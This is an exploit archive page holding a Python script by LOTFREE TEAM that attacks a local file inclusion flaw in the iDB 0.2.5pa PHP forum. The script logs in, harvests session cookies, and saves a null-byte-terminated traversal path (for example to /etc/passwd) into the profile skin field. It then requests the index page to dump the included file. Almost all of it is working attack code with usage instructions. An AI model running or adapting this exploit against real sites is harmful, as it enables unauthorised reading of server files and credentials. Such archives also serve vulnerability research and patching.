exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

iDB 0.2.5pa Local File Inclusion

iDB 0.2.5pa Local File Inclusion
Posted Apr 6, 2009
Authored by LOTFREE TEAM | Site lotfree.next-touch.com

iDB version 0.2.5pa SVN 243 local file inclusion exploit.

tags | exploit, local, file inclusion
SHA-256 | 4f8ffb40976ca429f98d5aee649a55c9700fb6023e04e3c1917b800b6e2f2873

iDB 0.2.5pa Local File Inclusion

Change Mirror Download
#!/usr/bin/env
# LOTFREE 2009 - lotfree.next-touch.com
# Local require() vulnerability in iDB (a PHP/MySQL BBS)
# Test on version 0.2.5 Pre-Alpha SVN 243 (released March 30, 2009)
#
# No checks are made on var "skin" in inc/profilemain.php before saving it to database
# this value is then require()d in mysql.php as $_GET['theme'] (global var is overwritten) :
#=> require($SettDir['themes'].$_GET['theme']."/settings.php");
# so if we set "skin" to (for example) "../../../../../etc/passwd\0" we can get the passwd
# file content :)
# skin is saved to mysql as "UseTheme" in table idb_members
# !! the type is "varchar(26)" so we are limited in injection :( !!
#
# Website of iDB : http://idb.berlios.de/ - http://sourceforge.net/projects/freshmeat_idb/
import urllib, urllib2, sys

print "\tLOTFREE - iDB local PHP file inclusion vulnerability exploit\n"
if len(sys.argv)!=5:
print "Usage: python LOTF-iDB.py <forum_root> <local_path_for_inclusion> <login> <password>"
print "e.g: python LOTF-iDB.py http://localhost/iDB/ ../../../../etc/passwd johndoe s3cr3t"
print "use python LOTF-iDB.py <forum_root> iDB <login> <password> to restore the default skin"
sys.exit()

forum_root = sys.argv[1]
if forum_root[-1]!="/":
forum_root += "/"
username = sys.argv[3]
password = sys.argv[4]
skin = ""
if sys.argv[2]=="iDB":
skin = "iDB"
else:
skin = sys.argv[2]+"\0"
if len(skin)>26:
print "Path for inclusion must be lower than 27 chars in length due to SQL structure :("
sys.exit()

print "Logging on the server..."
qs = {"username":username, "userpass": password, "storecookie": "true", "act": "loginmember"}
req = urllib2.Request(forum_root+"member.php?act=login_now",urllib.urlencode(qs))
data = urllib2.urlopen(req)
cookies = data.headers.getheaders("set-cookie")
cook = []
for c in cookies:
for t in c.split(";"):
if t.find("=")>0:
k = t.split("=")[0]
v = t.split("=",1)[1]
if k in ["idb_sess", "MemberName", "UserID", "SessPass"]:
cook.append(k+"="+v)
cook_str = "; ".join(cook)
print "Cookie string:",cook_str
print


qs = {"YourOffSet" : "0",
"MinOffSet" : "00",
"skin" : skin,
"RepliesPerPage" : "10",
"TopicsPerPage" : "10",
"MessagesPerPage" : "10",
"DST" : "off",
"act" : "settings",
"update" : "now"}
c_headers = {"Cookie": cook_str, "Referer": forum_root+"profile.php?act=settings"}
print "Sending payload..."
req = urllib2.Request(forum_root+"profile.php?act=settings",urllib.urlencode(qs),c_headers)
urllib2.urlopen(req)

req = urllib2.Request(forum_root+"index.php?act=view",headers=c_headers)
data = urllib2.urlopen(req).read()
# if /etc/passwd was included
if data.find("root:x:0:0:")>=0:
print data.split("<")[0]
elif skin=="iDB":
print "Default skin restored!"
elif data.find("require")>=0:
print "Oups... file not found or access forbidden :(\n"
print data[:200]
else:
print "Output:"
print data


Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close